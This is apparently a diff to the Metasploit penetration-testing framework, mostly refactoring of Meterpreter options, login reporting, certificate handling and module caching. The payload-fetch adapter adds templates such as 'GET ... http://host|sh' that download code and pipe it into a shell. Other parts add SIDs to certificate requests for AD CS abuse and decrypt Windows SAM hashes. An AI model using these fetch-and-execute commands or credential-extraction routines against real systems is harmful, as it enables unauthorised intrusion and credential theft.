# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Linux
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
),
OptString.new(
'PayloadProcessCommandLine',
[ false, 'The displayed command line that will be used by the payload', '']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,31 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::OSX
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, 'Automatically load extensions on bootstrap, comma separated.', 'stdapi']
),
OptString.new(
'PayloadProcessCommandLine',
[ false, 'The displayed command line that will be used by the payload', '']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Php
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Python
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,31 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Windows
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'unhook,priv,stdapi']
),
OptBool.new(
'AutoUnhookProcess',
[true, "Automatically load the unhook extension and unhook the process", false]
),
],
self.class
)
end
end
end
end
+18 -9
View File
@@ -71,11 +71,23 @@ module Msf
def create_credential_login(credential_data)
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
@report[rhost] = { successful_logins: [] }
@report[rhost] ||= {}
@report[rhost][:successful_logins] ||= []
@report[rhost][:successful_logins] << login_credentials(credential_data)
super
end
def report_successful_login(public:, private:)
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
@report[rhost] ||= {}
@report[rhost][:successful_logins] ||= []
@report[rhost][:successful_logins] << {
public: public,
private_data: private
}
end
# Creates a credential and adds to to the DB if one is present, then calls create_credential_login to
# attempt a login
#
@@ -90,7 +102,8 @@ module Msf
def create_credential_and_login(credential_data)
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
@report[rhost] = { successful_logins: [] }
@report[rhost] ||= {}
@report[rhost][:successful_logins] ||= []
@report[rhost][:successful_logins] << login_credentials(credential_data)
super
end
@@ -107,14 +120,9 @@ module Msf
def start_session(obj, info, ds_merge, crlf = false, sock = nil, sess = nil)
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins']
unless @report && @report[rhost]
elog("No RHOST found in report, skipping reporting for #{rhost}")
print_brute level: :error, ip: rhost, msg: "No RHOST found in report, skipping reporting for #{rhost}"
return super
end
result = super
@report[rhost].merge!({ successful_sessions: [] })
@report[rhost] ||= {}
@report[rhost][:successful_sessions] ||= []
@report[rhost][:successful_sessions] << result
result
end
@@ -127,6 +135,7 @@ module Msf
#
# @return [Hash] Rhost keys mapped to successful logins and sessions for each host
def print_report_summary
return unless @report
report = @report
logins = report.flat_map { |_k, v| v[:successful_logins] }.compact
+1 -1
View File
@@ -16,7 +16,7 @@ module Msf::DBManager::Cred
query = query.includes(logins: [ :service, { service: :host } ])
if opts[:type].present?
query = query.where('"metasploit_credential_privates"."type" = ?', opts[:type])
query = query.where('"metasploit_credential_privates"."type" = ?', opts[:type].to_s)
end
if opts[:jtr_format].present?
@@ -67,7 +67,7 @@ module Msf
certificate.extensions.select { |ext| ext.oid == 'subjectAltName' }.each do |san_extension|
begin
asn_san = OpenSSL::ASN1.decode(san_extension)
asn_san_value = asn_san.value.find {|value| value.is_a? OpenSSL::ASN1::OctetString }
asn_san_value = asn_san.value.find { |value| value.is_a? OpenSSL::ASN1::OctetString }
if asn_san_value.nil?
raise ArgumentError, 'Invalid certificate provided: unable to decode SAN'
@@ -95,7 +95,7 @@ module Msf
elsif san_entry.tag == 2 # dNSName
parts = san_entry.value.split('.')
if parts.length == 1
user = san_entry
user = san_entry.value # Corrected to extract string value
domain = ''
else
user = parts[0] + '$'
@@ -110,15 +110,26 @@ module Msf
end
unless realm.nil? # and also username, since it's both or neither
unless results.map { |x| x.map(&:downcase) }.include?([username.downcase, realm.downcase])
# If we've been provided an override but can't find them in a SAN, give a warning
normalized_results = results.map do |pair|
pair.map do |value|
if value.is_a?(String)
value.downcase
elsif value.is_a?(OpenSSL::ASN1::ASN1Data) && value.respond_to?(:value)
val = value.value
val.is_a?(String) ? val.downcase : val.to_s.downcase
else
value.to_s.downcase
end
end
end
unless normalized_results.include?([username.downcase, realm.downcase])
print_warning("Warning: Provided principal and realm (#{username}@#{realm}) do not match entries in certificate:")
results.each do |cert_username, cert_realm|
print_warning(" * #{cert_username}@#{cert_realm}")
end
end
# But hey, they've overridden it, so off we go
return [username, realm]
end
@@ -220,16 +231,21 @@ module Msf
client_dh_nonce: RASN1::Types::OctetString.new(value: dh_nonce)
)
auth_pack[:client_public_value][:subject_public_key].bit_length = pub_key_encoded.length * 8
signed_auth_pack = sign_auth_pack(auth_pack, pfx.key, certificate)
pa_as_req = Rex::Proto::Kerberos::Model::PreAuthPkAsReq.new
pa_as_req.signed_auth_pack = signed_auth_pack
Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PK_AS_REQ,
value: pa_as_req.to_der)
value: pa_as_req.to_der)
end
# Calculate the cryptographic signatures over the AuthPack, and create the appropriate
@@ -89,6 +89,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
def_delegators :@framework_module,
:print_status,
:print_good,
:print_error,
:vprint_error,
:vprint_status,
:workspace
+2 -1
View File
@@ -75,6 +75,7 @@ module Msf
# @return [Hash] The options to use when connecting to the target
# LDAP server.
def get_connect_opts
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
opts = {
username: datastore['LDAPUsername'],
password: datastore['LDAPPassword'],
@@ -82,7 +83,7 @@ module Msf
base: datastore['BASE_DN'],
domain_controller_rhost: datastore['DomainControllerRhost'],
ldap_auth: datastore['LDAP::Auth'],
ldap_cert_file: datastore['LDAP::CertFile'],
ldap_pkcs12: datastore['LDAP::CertFile'] ? pkcs12_storage.read_pkcs12_cert_path(datastore['LDAP::CertFile']) : nil,
ldap_rhostname: datastore['LDAP::Rhostname'],
ldap_krb_offered_enc_types: datastore['LDAP::KrbOfferedEncryptionTypes'],
ldap_krb5_cname: datastore['LDAP::Krb5Ccname'],
@@ -302,6 +302,9 @@ module Msf
matcher.apply_ace!(ace) if security_descriptor.group_sid == test_sid
when test_sid
matcher.apply_ace!(ace)
when Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SYSTEM_SID
# the SECURITY_LOCAL_SYSTEM_SID won't be found if looked up in the next block and if it's not the SID we're checking for, it doesn't apply anyways so just skip it
next
else
ldap_object = adds_get_object_by_sid(ldap, ace.body.sid)
next unless ldap_object && ldap_object[:objectClass].include?('group')
@@ -75,7 +75,7 @@ module Msf
return if ignore_ace?(ace)
@result = ace.header.ace_type
nil
end
+45 -3
View File
@@ -27,6 +27,9 @@ module Exploit::Remote::MsIcpr
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
# [[SAN URL prefix for strong SID mapping for KDCs running Windows Server Preview Build 25246 and later](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)]
SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:"
class MsIcprError < StandardError; end
class MsIcprConnectionError < MsIcprError; end
class MsIcprAuthenticationError < MsIcprError; end
@@ -170,6 +173,12 @@ module Exploit::Remote::MsIcpr
san = []
san << "dns=#{alt_dns}" if alt_dns
san << "upn=#{alt_upn}" if alt_upn
if alt_sid
san << "url=#{SAN_URL_PREFIX}#{alt_sid}"
san << "url=#{alt_sid}"
end
attributes['SAN'] = san.join('&') unless san.empty?
vprint_status(status_msg)
@@ -237,6 +246,10 @@ module Exploit::Remote::MsIcpr
print_status("Certificate UPN: #{upn.join(', ')}")
end
unless (uri = get_cert_san_uri(response[:certificate])).empty?
print_status("Certificate URI: #{uri.join(', ')}")
end
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
@@ -284,10 +297,25 @@ module Exploit::Remote::MsIcpr
extensions = []
subject_alt_names = []
subject_alt_names << "DNS:#{dns}" if dns
subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
if msext_sid
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
subject_alt_names << "URI = #{msext_sid}"
end
subject_alt_names << "DNS = #{dns}" if dns
unless subject_alt_names.empty?
extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false)
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
# The config file requires an identifier we define at the top of the file [alt_names]
subject_alt_names.prepend("[alt_names]")
subject_alt_names_conf = subject_alt_names.join("\n")
config = OpenSSL::Config.parse(subject_alt_names_conf)
factory = OpenSSL::X509::ExtensionFactory.new
factory.config = config
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
end
if msext_sid
@@ -470,6 +498,20 @@ module Exploit::Remote::MsIcpr
end
end
# Get the URI/URL from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert
# @return [Array<String>] The URIs/URLs if any were found.
def get_cert_san_uri(cert)
return [] unless (san = get_cert_san(cert))
san[:GeneralNames].value.select do |gn|
gn[:uniformResourceIdentifier].value?
end.map do |gn|
gn[:uniformResourceIdentifier].value
end
end
def icpr_service_data
{
host: rhost,
+1 -1
View File
@@ -43,7 +43,7 @@ module Exploit::Remote::MYSQL
begin
self.mysql_conn = ::Rex::Proto::MySQL::Client.connect(rhost, user, pass, db, rport, io: self.sock)
# Deprecating this in favor off `mysql_conn`
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, ActiveSupport::Deprecation.new)
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, deprecator: ActiveSupport::Deprecation.new)
rescue Errno::ECONNREFUSED
print_error("Connection refused")
@@ -16,6 +16,23 @@ module Msf::Exploit::Remote::Pkcs12
@framework_module = framework_module
end
# @param [String] cert_path A path to the file system where a pkcs12 cert is located, or a reference to a core database i.e., "id:123"
# @param [String] cert_pass The certificate password
# @param [String] workspace The workspace to restrict searches to
def read_pkcs12_cert_path(cert_path, cert_pass = '', workspace: nil)
is_readable = ::File.file?(cert_path) && ::File.readable?(cert_path)
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.' unless is_readable
data = File.binread(cert_path)
begin
pkcs12 = OpenSSL::PKCS12.new(data, cert_pass)
rescue StandardError => e
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
end
{ path: cert_path, value: pkcs12 }
end
# Get stored pkcs12 matching the options query.
#
# @param [Hash] options The options for matching pkcs12's.
+2
View File
@@ -114,6 +114,8 @@ module Msf
@module_info_copy = info.dup
self.module_info = info
# Initialize UUID for RPC compatibility
uuid
set_defaults
+163
View File
@@ -1,4 +1,6 @@
require 'json'
require 'parallel'
require 'zlib'
#
# Handles storage of module metadata on disk. A base metadata file is always included - this was added to ensure a much
@@ -14,6 +16,7 @@ module Msf::Modules::Metadata::Store
BaseMetaDataFile = 'modules_metadata_base.json'
UserMetaDataFile = 'modules_metadata.json'
CacheMetaDataFile = 'module_metadata_cache.json'
#
# Initializes from user store (under ~/store/.msf4) if it exists. else base file (under $INSTALL_ROOT/db) is copied and loaded.
@@ -124,4 +127,164 @@ module Msf::Modules::Metadata::Store
}
end
# This method checks if the current module and library files match the cached checksum.
# It uses a per-file CRC32 cache to avoid recalculating checksums for files that haven't changed.
# If no cache exists, it will create one in the user's directory.
#
# @return [Boolean] True if the current checksum matches the cached one
def self.valid_checksum?
current_checksum = get_current_checksum
cached_sha = get_cached_checksum
# If no cached checksum exists, create the cache file with current checksum
if cached_sha.nil?
update_cache_checksum(current_checksum)
return false
end
checksums_match?(current_checksum, cached_sha)
end
# Calculate the current checksum for all module and library files
# This calculates checksums for each file and generates an overall checksum
# from the individual file checksums. Does NOT update the cached checksum.
#
# @return [Integer] The current overall checksum
def self.get_current_checksum
files = collect_files_to_check
cache_file = get_cache_path
cache_data = load_combined_cache(cache_file)
files_lookup = {}
cache_data['files'].each { |entry| files_lookup[entry['path']] = entry }
file_crc32s_with_metadata = calculate_file_checksums(files, files_lookup)
file_crc32s = file_crc32s_with_metadata.map { |_, meta| meta['crc32'] }.sort
overall_checksum = calculate_overall_checksum(file_crc32s)
overall_checksum
end
# Compare the current checksum with the cached checksum
# @param [String] current_checksum The calculated checksum for the current state
# @param [String] cached_checksum The checksum retrieved from cache
# @return [Boolean] True if checksums match, false otherwise
def self.checksums_match?(current_checksum, cached_checksum)
current_checksum == cached_checksum
end
# Calculate the overall checksum from individual file checksums
# @param [Array<Integer>] file_crc32s Array of individual file CRC32 values
# @return [Integer] The overall CRC32 as an integer
def self.calculate_overall_checksum(file_crc32s)
Zlib.crc32(file_crc32s.join(','), 0)
end
# Collect all files that need to be checked for checksums
# @return [Array<String>] List of file paths
def self.collect_files_to_check
# Define the directories to scan for files
modules_dir = File.join(Msf::Config.install_root, 'modules', '**', '*')
local_modules_dir = File.join(Msf::Config.user_module_directory, '**', '*')
lib_dir = File.join(Msf::Config.install_root, 'lib', '**', '*')
# Gather all files from the specified directories
Dir.glob([modules_dir, lib_dir, local_modules_dir]).select { |f| File.file?(f) }.sort
end
# Calculate checksums for all files, using the cache when possible
# @param [Array<String>] files List of file paths to check
# @param [Hash] cache Current cache data
# @return [Array<Array>] Array of [file_path, metadata] pairs
def self.calculate_file_checksums(files, cache)
Parallel.map(files, in_threads: Etc.nprocessors * 2) do |file|
# Get file metadata (size and last modified time)
file_metadata = File.stat(file)
cache_entry = cache[file]
# Use cached CRC32 if mtime and size match, otherwise recalculate
if cache_entry && cache_entry['mtime'] == file_metadata.mtime.to_i && cache_entry['size'] == file_metadata.size
crc32 = cache_entry['crc32']
else
crc32 = File.open(file, 'rb') { |fd| Zlib.crc32(fd.read, 0) }
end
# Return file and its metadata for later aggregation
[file, {
'crc32' => crc32,
'mtime' => file_metadata.mtime.to_i,
'size' => file_metadata.size
}]
end
end
# Get the path to the cache file
# @return [String] Path to the cache file
def self.get_cache_path
File.join(Msf::Config.config_directory, "store", CacheMetaDataFile)
end
# Load the combined cache from disk (contains both files and checksum)
# @param [String] cache_file Path to the cache file
# @return [Hash] The loaded cache with 'files' and 'checksum' keys, or empty structure if file doesn't exist
def self.load_combined_cache(cache_file)
if File.exist?(cache_file)
cache_content = JSON.parse(File.read(cache_file))
# Ensure the cache has the expected structure
{
'files' => cache_content['files'] || [],
'checksum' => cache_content['checksum']
}
else
{ 'files' => [], 'checksum' => nil }
end
end
# Save the combined cache to disk (files and checksum in one file)
# @param [String] cache_file Path to the cache file
# @param [Hash] files_cache The per-file cache data
# @param [Integer] overall_checksum The overall checksum
# @return [void]
def self.save_combined_cache(cache_file, files_cache, overall_checksum)
# Ensure the directory for the cache file exists before writing
FileUtils.mkdir_p(File.dirname(cache_file))
cache_content = {
'checksum' => overall_checksum,
'files' => files_cache
}
File.write(cache_file, JSON.pretty_generate(cache_content))
end
# Get the cached checksum value from the combined cache file
# @return [Integer, nil] The cached checksum value or nil if no cache exists
def self.get_cached_checksum
cache_path = get_cache_path
cache_data = load_combined_cache(cache_path)
cache_data['checksum']
end
# Update the cache with the current checksum and file data
# @param [Integer] current_checksum The current checksum to store in the cache
# @return [void]
def self.update_cache_checksum(current_checksum)
# Recalculate file checksums and update both overall checksum and file cache
files = collect_files_to_check
cache_file = get_cache_path
cache_data = load_combined_cache(cache_file)
files_lookup = {}
cache_data['files'].each { |entry| files_lookup[entry['path']] = entry }
file_crc32s_with_metadata = calculate_file_checksums(files, files_lookup)
updated_files_cache = file_crc32s_with_metadata.map do |file_path, metadata|
metadata.merge('path' => file_path)
end
updated_files_cache.sort_by! { |entry| entry['path'] }
# Save both the updated file cache and the new overall checksum
save_combined_cache(cache_file, updated_files_cache, current_checksum)
end
end
+42 -1
View File
@@ -86,7 +86,7 @@ module Msf::Payload::Adapter::Fetch
def pipe_supported_binaries
# this is going to expand when we add psh support
return %w[CURL] if windows?
%w[WGET CURL]
%w[WGET GET CURL]
end
def generate(opts = {})
@@ -115,6 +115,8 @@ module Msf::Payload::Adapter::Fetch
case datastore['FETCH_COMMAND'].upcase
when 'WGET'
return _generate_wget_pipe
when 'GET'
return _generate_get_pipe
when 'CURL'
return _generate_curl_pipe
else
@@ -132,6 +134,8 @@ module Msf::Payload::Adapter::Fetch
return _generate_tnftp_command
when 'WGET'
return _generate_wget_command
when 'GET'
return _generate_get_command
when 'CURL'
return _generate_curl_command
when 'TFTP'
@@ -336,6 +340,43 @@ module Msf::Payload::Adapter::Fetch
end
end
def _generate_get_command
# Specifying the method (-m GET) is necessary on OSX
case fetch_protocol
when 'HTTP'
get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
when 'FTP'
get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
_execute_add(get_file_cmd)
end
def _generate_get_pipe
# Specifying the method (-m GET) is necessary on OSX
execute_cmd = 'sh'
execute_cmd = 'cmd' if windows?
case fetch_protocol
when 'HTTP'
return "GET -m GET http://#{_download_pipe}|#{execute_cmd}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
return "GET -m GET https://#{_download_pipe}|#{execute_cmd}"
when 'FTP'
return "GET ftp://#{_download_pipe}|#{execute_cmd}"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end
def _generate_ftp_command
case fetch_protocol
when 'FTP'
@@ -3,10 +3,10 @@ module Msf::Payload::Adapter::Fetch::LinuxOptions
super
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]),
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]),
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
]
)
@@ -13,7 +13,7 @@ module Payload::Android::MeterpreterLoader
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::Android
def initialize(info={})
super(update_info(info,
@@ -13,7 +13,7 @@ module Payload::Java::MeterpreterLoader
include Msf::Payload::Java
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::Java
def initialize(info = {})
super(update_info(info,
@@ -14,7 +14,7 @@ module Payload::Python::MeterpreterLoader
include Msf::Payload::Python
include Msf::Payload::UUID::Options
include Msf::Payload::TransportConfig
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::Python
def initialize(info = {})
super(update_info(info,
@@ -106,7 +106,7 @@ resolve:
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
jmp insert_iat ; Insert the address of API to IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,0x02 ; Move to function name
+4 -3
View File
@@ -73,8 +73,9 @@ module Msf
# only upload the file if a compiler exists
write_file path.to_s, strip_comments(data)
compiler_cmd = "#{compiler} -o '#{path.sub(/\.c$/, '')}' '#{path}'"
executable_path = path.sub(/\.c$/, '')
compiler_cmd = "#{compiler} -o '#{executable_path}' '#{path}'"
if session.type == 'shell'
compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}"
end
@@ -95,7 +96,7 @@ module Msf
fail_with Module::Failure::BadConfig, message
end
chmod path
chmod executable_path
end
#
@@ -909,7 +909,7 @@ module Msf
end
if framework.features.enabled?(Msf::FeatureManager::DISPLAY_MODULE_ACTION) && mod.respond_to?(:actions) && mod.actions.size > 1
print_status "Using action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command"
print_status "Setting default action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command"
end
mod.init_ui(driver.input, driver.output)
+12 -1
View File
@@ -72,6 +72,16 @@ class Driver < Msf::Ui::Driver
elog(e)
end
# Check if files have been modified and force immediate loading if so
has_modified_metasploit_files = !Msf::Modules::Metadata::Store.valid_checksum?
if has_modified_metasploit_files
current_checksum = Msf::Modules::Metadata::Store.get_current_checksum
Msf::Modules::Metadata::Store.update_cache_checksum(current_checksum)
# Force immediate module loading when files have changed
opts['DeferModuleLoads'] = false
end
if opts['DeferModuleLoads'].nil?
opts['DeferModuleLoads'] = Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DEFER_MODULE_LOADS)
end
@@ -163,7 +173,8 @@ class Driver < Msf::Ui::Driver
self.framework.init_module_paths(module_paths: opts['ModulePath'], defer_module_loads: opts['DeferModuleLoads'])
end
unless opts['DeferModuleLoads']
# Refresh module cache if modules are modified, or we're not deferring loads
if has_modified_metasploit_files || !opts['DeferModuleLoads']
framework.threads.spawn("ModuleCacheRebuild", true) do
framework.modules.refresh_cache_from_module_files
end
+7 -6
View File
@@ -2,6 +2,9 @@ module Msf
module Util
module WindowsCryptoHelpers
EMPTY_LM = "\xaa\xd3\xb4\x35\xb5\x14\x04\xee\xaa\xd3\xb4\x35\xb5\x14\x04\xee".b
EMPTY_NT = "\x31\xd6\xcf\xe0\xd1\x6a\xe9\x31\xb7\x3c\x59\xd7\xe0\xc0\x89\xc0".b
#class Error < RuntimeError; end
#class Unknown < Error; end
@@ -200,28 +203,26 @@ module WindowsCryptoHelpers
def decrypt_user_key(hboot_key, user_v, rid)
sam_lmpass = "LMPASSWORD\x00"
sam_ntpass = "NTPASSWORD\x00"
sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
# TODO: use a proper structure for V data, instead of unpacking directly
hashlm_off = user_v[0x9c, 4]&.unpack('V')&.first
hashlm_len = user_v[0xa0, 4]&.unpack('V')&.first
if hashlm_off && hashlm_len
hashlm_enc = user_v[hashlm_off + 0xcc, hashlm_len]
hashlm = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, sam_empty_lm)
hashlm = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, EMPTY_LM)
else
elog('decrypt_user_key: Unable to extract LM hash, using empty LM hash instead')
hashlm = sam_empty_lm
hashlm = EMPTY_LM
end
hashnt_off = user_v[0xa8, 4]&.unpack('V')&.first
hashnt_len = user_v[0xac, 4]&.unpack('V')&.first
if hashnt_off && hashnt_len
hashnt_enc = user_v[hashnt_off + 0xcc, hashnt_len]
hashnt = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, sam_empty_nt)
hashnt = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, EMPTY_NT)
else
elog('decrypt_user_key: Unable to extract NT hash, using empty NT hash instead')
hashnt = sam_empty_nt
hashnt = EMPTY_NT
end
[hashnt, hashlm]
+1 -1
View File
@@ -85,11 +85,11 @@ class Pivot
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
c.include(::Msf::Sessions::MeterpreterOptions)
# TODO: add more platforms
case opts[:platform]
when 'windows'
c.include(::Msf::Sessions::MeterpreterOptions::Windows) # Moved to be platform-specific
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
+3
View File
@@ -79,6 +79,9 @@ module Rex::Proto::CryptoAsn1
OID_AES192_CCM = ObjectId.new('2.16.840.1.101.3.4.1.27', name: 'OID_AES192_CCM', label: 'AES192 in CCM mode')
OID_AES256_GCM = ObjectId.new('2.16.840.1.101.3.4.1.46', name: 'OID_AES256_GCM', label: 'AES256 in GCM mode')
OID_AES256_CCM = ObjectId.new('2.16.840.1.101.3.4.1.47', name: 'OID_AES256_CCM', label: 'AES256 in CCM mode')
# https://oidref.com/2.5.29.37.0
OID_ANY_EXTENDED_KEY_USAGE = ObjectId.new('2.5.29.37.0', name: 'OID_ANY_EXTENDED_KEY_USAGE', label: 'Any Extended Key Usage')
def self.name(value)
value = ObjectId.new(value) if value.is_a?(String)
+1
View File
@@ -36,6 +36,7 @@ module Rex::Proto
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000
CT_FLAG_SKIP_AUTO_RENEWAL = 0x00040000
CT_FLAG_NO_SECURITY_EXTENSION = 0x80000
# [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667)
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001
+4 -8
View File
@@ -76,7 +76,7 @@ Gem::Specification.new do |spec|
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.221'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.42'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.45'
# Needed by msfgui and other rpc components
# Locked until build env can handle newer version. See: https://github.com/msgpack/msgpack-ruby/issues/334
spec.add_runtime_dependency 'msgpack', '~> 1.6.0'
@@ -108,9 +108,9 @@ Gem::Specification.new do |spec|
# Required for Metasploit Web Services
spec.add_runtime_dependency 'puma'
spec.add_runtime_dependency 'ruby-mysql'
spec.add_runtime_dependency 'thin', '~> 1.8' # Additional dev cycles required to update thin/sinatra/etc to a major version
spec.add_runtime_dependency 'sinatra', '~> 3.2'
spec.add_runtime_dependency 'rack', '~> 2.2'
spec.add_runtime_dependency 'thin'
spec.add_runtime_dependency 'sinatra'
spec.add_runtime_dependency 'rack'
spec.add_runtime_dependency 'warden'
spec.add_runtime_dependency 'swagger-blocks'
# Required for JSON-RPC client
@@ -249,10 +249,6 @@ Gem::Specification.new do |spec|
# to generate PNG files, not to parse untrusted PNG files.
spec.add_runtime_dependency 'chunky_png'
# Temporary, remove once the Rails 7.1 update is complete
# see: https://stackoverflow.com/questions/79360526/uninitialized-constant-activesupportloggerthreadsafelevellogger-nameerror
